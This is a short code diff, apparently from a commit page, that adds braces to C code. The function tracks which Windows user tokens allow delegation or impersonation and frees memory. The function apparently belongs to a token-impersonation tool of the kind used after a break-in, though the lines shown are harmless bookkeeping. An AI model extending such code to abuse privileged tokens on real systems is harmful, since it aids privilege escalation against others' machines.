@ -381,9 +419,13 @@ void process_user_token(HANDLE token, unique_user_token *uniq_tokens, DWORD *num
|
||||
uniq_tokens[j].token_num++;
|
||||
user_exists = TRUE;
|
||||
if (is_delegation_token(token))
|
||||
{
|
||||
uniq_tokens[j].delegation_available = TRUE;
|
||||
}
|
||||
if (is_impersonation_token(token))
|
||||
{
|
||||
uniq_tokens[j].impersonation_available = TRUE;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
@ -397,24 +439,36 @@ void process_user_token(HANDLE token, unique_user_token *uniq_tokens, DWORD *num
|
||||
uniq_tokens[*num_tokens].impersonation_available = FALSE;
|
||||
|
||||
if (is_delegation_token(token))
|
||||
{
|
||||
uniq_tokens[*num_tokens].delegation_available = TRUE;
|
||||
}
|
||||
if (is_impersonation_token(token))
|
||||
{
|
||||
uniq_tokens[*num_tokens].impersonation_available = TRUE;
|
||||
}
|
||||
|
||||
(*num_tokens)++;
|
||||
}
|
||||
else
|
||||
{
|
||||
user_exists = FALSE;
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
if (token_order == BY_GROUP && group_name_array[i])
|
||||
{
|
||||
free(group_name_array[i]);
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
cleanup:
|
||||
if (token_order == BY_GROUP && group_name_array)
|
||||
{
|
||||
free(group_name_array);
|
||||
}
|
||||
else if (token_order == BY_USER && full_name)
|
||||
{
|
||||
free(full_name);
|
||||
}
|
||||
}
|
||||
|
Loading…
x
Reference in New Issue
Block a user